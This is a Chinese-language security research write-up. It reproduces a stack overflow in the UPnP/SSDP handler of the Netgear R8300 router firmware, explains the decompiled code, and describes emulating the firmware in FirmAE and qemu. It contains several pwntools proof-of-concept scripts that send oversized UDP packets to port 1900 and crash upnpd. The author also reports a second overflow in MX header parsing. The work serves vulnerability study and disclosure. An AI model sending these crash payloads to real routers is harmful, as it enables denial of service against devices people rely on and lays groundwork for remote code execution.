Netgear R8300 UPnP 栈溢出漏洞复现
漏洞信息
固件型号:Netgear Nighthawk R8300 1.0.2.130( 此漏洞已在1.0.2.134版本修复)
下载地址:
Nighthawk X8 R8300 | AC5000 Smart WiFi Router | NETGEAR Support
漏洞描述:PSV-2020-0211:R8300 处理 UPNP 数据包的方式中存在一个漏洞,在处理简单服务发现协议(SSDP)请求时未实施边界检查,导致栈溢出。
补充知识
SSDP(Simple Service Discovery Protocol) 是 UPnP 中用于设备发现的协议。SSDP 数据包通常使用 UDP 进行广播。下面是一个 SSDP 请求的示例:
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 3
ST: ssdp:all
- HOST: 指定了目标地址和端口
- MAN: 表示这是一个发现请求。也经常是ssdp:all
- MX: 表示响应的最大等待时间(秒)
- ST: 表示搜索目标,可以是特定服务或设备类型
漏洞点就位于处理SSDP请求的程序中,熟悉SSDP数据包格式对分析漏洞有很大的帮助。
准备工作
binwalk解包
信息收集,arm架构32位
漏洞分析
sub_1D020
函数(UPnP 主函数)
根据漏洞情报公开信息,找到该函数
初始化与设置
作用: 这是程序启动后的准备阶段。它首先检查用户是否在配置中启用了UPnP功能,然后进入一个等待循环,直到设备的网络接口获得了有效的IP地址后才继续执行。这是确保网络服务在正确环境下启动的关键步骤。
// 初始化一个变量,可能用于后续的recvfrom调用
v57[0] = 16;
// 记录日志,表示upnp_main函数已启动
sub_B814(2, "%s:%d()\n", "upnp_main", 751);
// 初始化一个全局标志,可能用于控制程序退出
dword_93AF4 = 0;
// 从NVRAM配置中检查"upnp_turn_on"是否为"1",判断UPnP功能是否开启
v38 = acosNvramConfig_match("upnp_turn_on", "1");
// 进入一个循环,等待网络就绪
while ( 1 )
{
// 持续检查局域网IP地址是否还是"0.0.0.0"
while ( 1 )
{
sub_B814(2, "%s: %d()\n", "upnp_main", 763);
if ( !acosNvramConfig_match("lan_ipaddr", "0.0.0.0") )
break; // 如果IP地址不再是0.0.0.0,说明网络已就绪,跳出循环
sleep(1u); // 否则,休眠1秒后重试
}
创建核心网络套接字 (Sockets)
作用: 在网络就绪后,此部分代码创建并绑定UPnP服务所需的三个核心网络套接字:
- 一个UDP套接字用于在 1900端口 监听SSDP发现请求。
- 一个UDP套接字用于 发送 SSDP响应和广播。
- 一个TCP套接字用于在 5000端口 监听HTTP/SOAP控制请求(如端口映射)。
// 创建并绑定用于SSDP监听的UDP套接字(端口1900)
dword_C4580 = sub_1C450(1900);
}
while ( dword_C4580 < 0 ); // 如果创建失败,则重试
// 创建用于发送SSDP消息的UDP套接字
sub_B814(2, "%s: %d()\n", "create_submit_scoket", 199);
v0 = socket(2, 2, 0);
v1 = v0;
if ( v0 == -1 )
{
sub_B814(2, "http_mu : Can't UDP create socket..\n");
exit(1);
}
// ... (绑定发送套接字到任意地址)
if ( bind(v0, v53, 0x10u) == -1 )
{
sub_B814(2, "Can't bind UPNP send socket..\n");
exit(1);
}
dword_C457C = v1; // 保存发送套接字的文件描述符
// 如果发送套接字创建失败,则清理并重试
if ( v1 >= 0 )
break;
close(dword_C4580);
sub_B814(2, "ssdp send socket created failed!!\n");
}
// 创建并绑定用于HTTP控制的TCP套接字(端口5000)
dword_C4584 = sub_1C450(5000);
if ( dword_C4584 >= 0 )
break; // 成功则跳出最外层初始化循环
// 如果HTTP套接字创建失败,则清理所有已创建的套接字并重试
close(dword_C4580);
close(dword_C457C);
sub_B814(2, "http socket created failed!!\n");
}
设置UPnP广播参数并首次广播
作用: 此部分代码从NVRAM中读取UPnP的广播周期和有效期配置。如果UPnP功能是开启的,它会立即调用 sub_25634()
函数,向局域网发送第一次SSDP NOTIFY
广播,宣告本设备的存在。
// 获取UPnP广播的有效期和广播间隔
dword_A2324 = 0;
v2 = (const char *)acosNvramConfig_get("upnp_duration");
v3 = sub_B814(2, "upnp_duration is %s\n", v2);
v4 = sys_uptime(v3); // 记录当前时间作为基准
dword_A2324 = v4;
// 如果UPnP功能开启,则立即进行第一次SSDP宣告
if ( v38 )
sub_25634();
v5 = (const char *)acosNvramConfig_get("upnp_advert_period");
v6 = atoi(v5);
v8 = 60 * v6; // 计算广播间隔(秒)
v42 = v8;
以上部分可以看到程序需要一些NVRAM里的配置信息,在模拟后可能需要手动添加
主事件循环
作用: 这是程序的核心,一个无限循环。它使用 select
I/O多路复用技术来同时等待多个事件:定时器超时(用于周期性广播)、SSDP套接字(1900端口)的数据到达、HTTP套接字(5000端口)的新连接请求。
// 确定select需要监听的最大文件描述符
v7 = dword_C4580;
if ( dword_C4580 < dword_C4584 )
v7 = dword_C4584;
v43 = v7;
// 进入主事件循环
while ( 1 )
{
// 检查全局退出标志,如果为1则跳出循环,准备关闭服务
if ( dword_93AF4 == 1 )
break;
// --- 4.1 定时广播逻辑 ---
v11 = sys_uptime(v9);
dword_A2324 = v11;
if ( v42 > v11 - v4 ) // 检查是否到达下一次广播时间
{
// 未到时间,计算select的超时时间
v13 = v4 + v42 - v11;
if ( v13 >= 0xA )
v13 = 10; // 超时时间最长为10秒
}
else
{
// 已到广播时间,发送SSDP NOTIFY广播
if ( v10 == 1 )
v44 = sub_25634();
if ( v44 == -11 )
sub_B814(2, "SSDP: sending notifies error!!\n");
v4 = v12; // 更新上次广播时间
v13 = 10; // 设置默认超时
}
// --- 4.2 准备select调用 ---
sub_1F590(); // 可能是一些状态清理或准备工作
// 清空读文件描述符集合 (FD_ZERO)
// ...
// 设置select的超时
timeout.tv_sec = v13;
timeout.tv_usec = 0;
// 将SSDP和HTTP监听套接字加入读文件描述符集合 (FD_SET)
readfds.__fds_bits[(unsigned int)dword_C4580 >> 5] |= 1 << (dword_C4580 & 0x1F);
readfds.__fds_bits[v16] |= 1 << nfds;
// --- 4.3 等待事件发生,使用select函数判断超时或错误,若错误清理fd_set并继续下一次循环 ---
if ( select(v43 + 1, &readfds, 0, 0, &timeout) <= 0 )
{
// 如果是超时或错误,则清理fd_set并继续下一次循环
// ...
continue;
}
事件处理 - SSDP请求(漏洞点)
作用: 如果 select
返回是因为SSDP监听套接字(1900端口)收到了数据,这部分代码将被执行。它会接收UDP数据包,并调用 sub_25E04
函数来解析和响应这个SSDP请求(通常是 M-SEARCH
)。
// --- 处理SSDP M-SEARCH请求 ---
// 检查是否是SSDP套接字(dword_C4580)收到了数据 (FD_ISSET)
if ( (((unsigned int)readfds.__fds_bits[(unsigned int)dword_C4580 >> 5] >> (dword_C4580 & 0x1F)) & 1) != 0 )
{
// 从套接字接收UDP数据
v24 = recvfrom(dword_C4580, v50, 0x1FFFu, 0, &v54, v57);
// 从fd_set中清除该套接字
readfds.__fds_bits[(unsigned int)dword_C4580 >> 5] &= ~(1 << (dword_C4580 & 0x1F));
if ( v25 ) // 检查源IP是否有效
{
if ( v24 ) // 检查是否收到了数据
{
v50[v24] = 0; // 添加字符串结束符
// 如果UPnP功能开启,则调用SSDP请求处理函数
if ( acosNvramConfig_match("upnp_turn_on", "1") )
sub_25E04(v50, v53, ...); // 传入收到的数据和客户端地址,这里是漏洞点所在函数
}
}
continue; // 处理完毕,进入下一次循环
}
看到这里,我们大概了解UPnP的主要流程,要模拟UPnP可能需要的条件,触发漏洞需要的条件。
sub_25E04
函数 (SSDP M-SEARCH 请求处理器)
看到函数开头。这部分负责解析收到的UDP数据包的第一行,严格验证其是否为本程序需要处理的 M-SEARCH
请求。它会忽略掉其他设备发来的 NOTIFY
宣告消息,并拒绝所有格式不正确的请求。这里的处理和前面的示例SSDP包对应上了。可以看到一个明显的栈溢出漏洞。我们根据这个函数的内容构造我们的SSDP包。
// 函数入口,记录日志
sub_B814(3, "%s(%d):\n", "ssdp_http_method_check", 203);
// 检查全局退出标志,如果程序正在关闭,则直接返回
if ( dword_93AE0 == 1 )
return 0;
// 将收到的消息 a1 复制到本地缓冲区 v39,以进行字符串处理
v41 = v39;
strcpy(v39, a1);//漏洞点
// 使用分词函数 sub_B60C (类似 strtok) 解析请求行的第一个词(方法)
v7 = (const char *)sub_B60C(&v41, &v42);
v8 = v7;
if ( !v7 )
{
// 如果解析失败,记录错误并返回
LABEL_13:
sub_B814(2, "%s(%d):Http message error\n", "ssdp_http_method_check", 231);
return -7;
}
// 检查方法是否为 "M-SEARCH"
if ( !strstr(v7, "M-SEARCH") )
{
// 如果不是 M-SEARCH,检查是否为 "NOTIFY"
if ( stristr(v8, "NOTIFY") )
return 0; // 如果是 NOTIFY,则忽略该消息,正常返回
goto LABEL_13; // 如果既不是 M-SEARCH 也不是 NOTIFY,则为错误消息
}
// 解析请求行的第二个词(URI),并检查是否为 "*"
v9 = (const char *)sub_B60C(&v41, &v42);
if ( v9 && !strchr(v9, 42) ) // 42 是 '*' 的ASCII码
{
sub_B814("%s(%d):Parsing error missing * \r\n", "ssdp_http_method_check", 214);
return -7;
}
// 解析请求行的第三个词(协议版本),并检查是否为 "HTTP/1.1"
v10 = sub_B60C(&v41, &v42);
if ( v10 && !stristr(v10, "HTTP/1.1") )
{
sub_B814(2, "%s(%d):Parsing error missing HTTP/1.1\n", "ssdp_http_method_check", 219);
return -7;
}
启动upnpd程序
firmae模拟固件
ps搜索,发现程序并没有自动启动upnpd,手动启动一下
这里显示nvram的很多信息不全,用的是firmae自带的libnvram.so。我们这时候ps一下会发现upnpd并没有在运行,只是看起来没有结束。我们hook劫持一个与nvram相关的动态链接库。以下是适配的nvram
raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
注意的是ubuntu现在最新的软件包gcc-arm-linux-gnueabi只对应了armv7架构,无法在源中直接安装可以编译ARMv5的gcc,我们这里使用下面的docker
在docker中执行:
/root/compile_bins/cross-compiler-armv5l/bin/armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so
然后docker cp把nvram.so取回本机,wget传入firmae虚拟机。
主机
python3 -m http.server
虚拟机
wget 主机ip:8000/nvram.so
继续运行
LD_PRELOAD="/nvram.so" /usr/sbin/upnpd
发现dlsym未定义,这里dlsym函数由nvram.so库内部调用,用于动态加载符号,这个函数通常在libdl.so库中
验证一下,在binwalk解包的文件系统中搜索“dlsym”,注意不要在firmae模拟的环境grep,会很慢。
看到libl.so.0,我们就可以在执行命令时预加载libdl.so.0:
LD_PRELOAD="/nvram.so /lib/libdl.so.0" /usr/sbin/upnpd
upnp在fopen('/tmp/nvram.ini', 'r') 时没有读到东西,我们cat看一下,确实是空的。
在网上看到一个配置信息写入/tmp/nvram.ini,注意根据系统模拟网卡ip写lan_ipaddr=192.168.1.1
echo "upnpd_debug_level=9
lan_ipaddr=192.168.1.1
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF" > /tmp/nvram.ini
再次启动
LD_PRELOAD="/nvram.so /lib/libdl.so.0" /usr/sbin/upnpd
正常启动,ps能看到进程运行
漏洞利用
ps查看系统模拟时的telnet进程
利用telnet打开一个终端运行upnpd,这里由于/tmp/nvram.ini丢失,我们要重新写进去并运行upnpd
telnet 192.168.1.1 31338
利用firmae的run gdbserver功能查看upnpd进程,开一个调试端口
进入pwndbg调试并运行
根据程序和前面的SSDP示例写exp脚本如下
from pwn import *
io = remote("192.168.1.1",1900,typ='udp')
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)
成功触发
返回地址0x61616160,最后一位被置零了。这是因为由于地址的字节对齐,地址最低位只能是零,实际上是没有作用的,在一些arm系统中,这一位被用作指示ARM和Thumb模式之间切换,在读取切换指令后会将地址最低位重新置零。
疑点与发现
笔者原以为,分析到这里就结束了。sub_25E04
函数((SSDP M-SEARCH 请求处理器)有个有意思的地方是:漏洞函数strcpy(v39, a1)实际上是在解析SSDP请求包之前,而上层的UPnP服务仅起到分发作用,不对SSDP包过滤,也就是说,只要我们传输方式是UDP传输向1900端口,即便不构筑完整包,理论上也能触发栈溢出崩溃。
// 函数入口,记录日志
sub_B814(3, "%s(%d):\n", "ssdp_http_method_check", 203);
// 检查全局退出标志,如果程序正在关闭,则直接返回
if ( dword_93AE0 == 1 )
return 0;
// 将收到的消息 a1 复制到本地缓冲区 v39,以进行字符串处理
v41 = v39;
strcpy(v39, a1);//漏洞点
// 使用分词函数 sub_B60C (类似 strtok) 解析请求行的第一个词(方法)
v7 = (const char *)sub_B60C(&v41, &v42);
v8 = v7;
if ( !v7 )
{
// 如果解析失败,记录错误并返回
LABEL_13:
sub_B814(2, "%s(%d):Http message error\n", "ssdp_http_method_check", 231);
return -7;
}
// 检查方法是否为 "M-SEARCH"
if ( !strstr(v7, "M-SEARCH") )
{
// 如果不是 M-SEARCH,检查是否为 "NOTIFY"
if ( stristr(v8, "NOTIFY") )
return 0; // 如果是 NOTIFY,则忽略该消息,正常返回
goto LABEL_13; // 如果既不是 M-SEARCH 也不是 NOTIFY,则为错误消息
}
// 解析请求行的第二个词(URI),并检查是否为 "*"
v9 = (const char *)sub_B60C(&v41, &v42);
if ( v9 && !strchr(v9, 42) ) // 42 是 '*' 的ASCII码
{
sub_B814("%s(%d):Parsing error missing * \r\n", "ssdp_http_method_check", 214);
return -7;
}
// 解析请求行的第三个词(协议版本),并检查是否为 "HTTP/1.1"
v10 = sub_B60C(&v41, &v42);
if ( v10 && !stristr(v10, "HTTP/1.1") )
{
sub_B814(2, "%s(%d):Parsing error missing HTTP/1.1\n", "ssdp_http_method_check", 219);
return -7;
}
// 初始化一个缓冲区 s,用于存放可能从 ST 头中提取的 UUID
memset(s, 0, 37);
// 检查是否存在 "MAN:" 头部,并且其值必须是 "ssdp:discover"
v11 = stristr(a1, "MAN:");
if ( !v11 )
return -7;
if ( !stristr(v11, "\"ssdp:discover\"") )
return -7;
// 调用 sub_24B74 解析 "MX:" 头部,获取客户端愿意等待响应的最长时间(秒)
v12 = sub_24B74(a1);
if ( !v12 )
return -7;
构造测试exp
from pwn import *
io = remote("192.168.1.1",1900,typ='udp')
payload = b'MX: %s \r\n' % (b'a'*200)
io.send(payload)
实际与我们预测的完全不符,这样的包并没有触发崩溃。笔者排除了提前过滤、字符串数量变化的问题:1.动态调试发现,该测试包进入sub_25E04
函数,在其中打断点可以看到栈空间确实被字符“a"填满,但是程序最后返回,进入UPnP的监听循环;2.测试exp与原exp相比,只少了少数字符,但是将测试exp的”a"的数量增加到400,600同样无法触发溢出。
笔者分析发现sub_25E04
函数 (SSDP M-SEARCH 请求处理器)的栈帧实际上很大,200个字符并不会覆盖到返回地址,大概需要1600左右个字符串才能覆盖返回地址。
下面是真正触发该漏洞的exp和该漏洞的崩溃点,并不需要构造SSDP包。
from pwn import *
io = remote("192.168.1.1",1900,typ='udp')
payload = b'MX: %s \r\n' % (b'a'*1700)
io.send(payload)
于是笔者重新跟踪了原exp的崩溃点,发现与我们一开始分析的完全不一样。原exp下,程序在sub_25E04
函数经过如下跳转
最后在BL sub_24B74
处崩溃。笔者在BL sub_24B74
和SUBS R8, R0, #0
分别打断点,发现程序在sub_24B74
函数中崩溃,因此没有执行到SUBS R8, R0, #0
跟进函数sub_24B74
("MX"解析函数)
这个函数的核心目标是:从一个大的输入字符串a1
中,解析出"MX:"
头后面的数字,并将其作为整数返回。
// 定义一个名为 sub_24B74 的函数,它接受一个整数参数 a1(实际上被当作 char* 指针使用)。
// __fastcall 是一种调用约定,指示编译器尽可能使用 CPU 寄存器来传递参数,以提高速度。
int __fastcall sub_24B74(int a1)
{
int v1; // 声明一个整型变量 v1,用于存储最终的解析结果。
int v2; // 声明一个整型变量 v2,用于存储查找 "MX:" 的结果指针。
int v3; // 声明一个整型变量 v3,用于保存 v2 的值。
unsigned int v4; // 声明一个无符号整型变量 v4,用于存储查找 "\r\n" 的结果指针。
_DWORD v6[36]; // 在栈上分配一个数组 v6,大小为 36 * 4 = 144 字节,用作临时缓冲区。
v1 = 0; // 初始化返回值为 0。如果解析失败,将返回这个默认值。
// 将 v6 数组的前 128 个字节清零。
// 这是一个好的编程习惯,可以防止缓冲区中的垃圾数据影响后续操作。
memset(v6, 0, 128);
// 在输入字符串 a1 中(不区分大小写)查找子字符串 "MX:"。
// stristr 返回一个指向找到的子字符串的指针,如果没找到则返回 NULL (0)。
v2 = stristr(a1, "MX:");
v3 = v2; // 将查找到的指针保存到 v3 中。
// 检查是否找到了 "MX:"。
if ( v2 ) // 如果 v2 不为 NULL,即找到了 "MX:"
{
// 从 "MX:" 的位置开始,继续查找换行符 "\r\n"。
v4 = stristr(v2, "\r\n");
// 检查是否找到了换行符。
if ( v4 ) // 如果 v4 不为 NULL,即找到了 "\r\n"
{
// 检查 "MX:" 和 "\r\n" 之间是否有内容。
// v3 + 3 指向 "MX:" 后面的字符。如果 v4 小于或等于这个位置,
// 说明 "MX:" 后面没有内容,或者内容为空。
if ( v4 <= v3 + 3 )
{
// 调用错误处理函数,报告错误 "No MX error1 !!",表示 "MX:" 后面没有数据。
sub_B814(2, "No MX error1 !!\n");
}
else
{
// 计算 "MX:" 和 "\r\n" 之间的字符串长度,并复制这段字符串到缓冲区 v6 中。
// v3 + 3 是源字符串的起始地址。
// v4 - (v3 + 3) 是要复制的长度。
//真正的漏洞点
strncpy((char *)v6, (const char *)(v3 + 3), v4 - (v3 + 3));
// 使用 atoi 将缓冲区 v6 中的字符串转换为整数,并存入 v1。
v1 = atoi((const char *)v6);
// 对解析出的整数进行验证。
// 1. v1 <= 0: 检查数字是否为负数或零(或 atoi 转换失败)。
// 2. index((const char *)v6, 46): 检查原始数字字符串中是否包含小数点 '.' (ASCII 46)。
if ( v1 <= 0 || index((const char *)v6, 46) )
{
// 如果数字无效(小于等于0,或包含小数点),则将结果重置为 0。
v1 = 0;
// 调用错误处理函数,报告错误 "MX Empty , not integer or negative!!"。
sub_B814(2, "MX Empty , not integer or negative!!\n");
}
}
}
else // 如果在 "MX:" 之后没有找到 "\r\n"
{
// 调用错误处理函数,报告错误 "No MX error2 !!"。
sub_B814(2, "No MX error2 !!\n");
return 0; // 直接返回 0,表示解析失败。
}
}
else // 如果在输入字符串 a1 中没有找到 "MX:"
{
// 调用错误处理函数,报告错误 "No MX error0 !!"。
sub_B814(2, "No MX error0 !!\n");
return 0; // 直接返回 0,表示解析失败。
}
// 返回最终解析出的有效整数值。如果中途出错,该值为 0。
return v1;
}
真正的漏洞点 strncpy((char *)v6, (const char *)(v3 + 3), v4 - (v3 + 3));
- 目的字符串:
(char *)v6
- 这是栈上的一个缓冲区,大小是固定的128字节。
- 源字符串:
(const char *)(v3 + 3)
v3
指向"MX:"
的'M'
。v3 + 3
指向冒号后面的第一个字节。这是攻击者可以控制的数据的开始。
- 长度 :
v4 - (v3 + 3)
v4
指向"\r\n"
的'\r'
。- 这是一个指针减法,它计算出了
"MX:"
和"\r\n"
之间的数据的确切长度。
虽然程序用了 strncpy
函数控制长度,这个长度完全由攻击者提供的输入数据决定。程序没有对这个计算出来的长度做任何检查。
程序最终在这个函数:sub_24B74
("MX"解析函数)返回时崩溃。
总结一下,我们在执行原exp后意外打到另一个漏洞,这里理清了两个漏洞的逻辑和触发条件。
原漏洞在下一个版本1.0.2.134已修复,而这个漏洞在1.0.2.134疑似未修复,我们测试一下
1.0.2.134版本模拟与漏洞测试
Netgear Nighthawk R8300 1.0.2.134用firmae启动失败了,我们尝试一下用户模拟,由于两个版本的UPnp程序相近(存在一定区别),我们直接套用前面的步骤
设置配置信息,lan_ipaddr=192.168.2.139
记得改为虚拟机IP,注意> ./tmp/nvram.ini
有变化,在文件系统目录下执行,不要设置到虚拟机的/tmp
echo "upnpd_debug_level=9
lan_ipaddr=192.168.2.139
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF" > ./tmp/nvram.ini
用户模拟
sudo chroot . ./qemu-arm-static -E LD_PRELOAD="./nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd
结果没有回显
我们使用下面的代码,在upnpd.log查看提示信息
sudo chroot . ./qemu-arm-static -E LD_PRELOAD="./nvram.so ./lib/libdl.so.0" /usr/sbin/upnpd -f > upnpd.log 2>&1
发现需要建立一个有效的/var/run文件夹
我们重新建立一个文件系统的/tmp/var/run并链接
mkdir -p ./tmp/var/run
rm ./var
ln -s ./tmp/var/ ./var
发现upnpd.log末尾没有明显报错且不断更新,说明程序在运行中了
ps验证一下
已经启动的upnpd存在多级子进程的创建,笔者用qemu-arm-static -g 端口号
的方式无法跟进调试,只能用下面代码远程调试qemu程序。
sudo pwndbg -p 4331
这里调试的是qemu这个x86架构的模拟程序,而非arm架构的upnpd程序,因此常用的静态分析打断点等手段这里没法用。进入后c
运行程序
我们先测试一下原漏洞PSV-2020-0211,测试脚本如下
from pwn import *
io = remote("192.168.2.139",1900,typ='udp')
payload = b'MX: %s \r\n' % (b'a'*1700)
io.send(payload)
结果程序不受影响。如果不使用pwndbg工具,我们也可以用ps -aux | grep "upnpd"
查看程序是否运行,程序会一直运行以处理各种包,除非它被打崩。
然后测试一下新发现的漏洞对应的exp
from pwn import *
io = remote("192.168.2.139",1900,typ='udp')
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)
我们可以看到x86架构的qemu程序在模拟upnpd时由于upnpd接收到的错误地址0x61616160而出错
最后附上1.0.2.134版本两个漏洞点的简单分析:
- 原漏洞修复:限制SSDP包长度,使其长度不够覆盖返回地址(但能覆盖栈内其他空间)
- 新漏洞:依旧没做限制
后记
由于netgear的cve都没有公开,笔者并不知道这个洞是否被申报,只知道它并未与公开的PSV-2020-0211(即复现的原漏洞)一起被修复。不过,笔者检查了最新的1.0.2.158,发现该漏洞已被修复。又根据netgearR8300的CVE情报,发现R8300在1.0.2.144版本修复了一批栈溢出漏洞,找到1.0.2.144的固件查看,果然该漏洞已被修复,猜测这个洞可能是其中之一或者更早被修复,下图是1.0.2.144的修复措施。一个值得注意的点是,修复人员对于两个相似的栈溢出漏洞,并没有严格限制长度等于栈空间的大小,只是将长度控制在一个不足以覆盖返回地址的长度范围。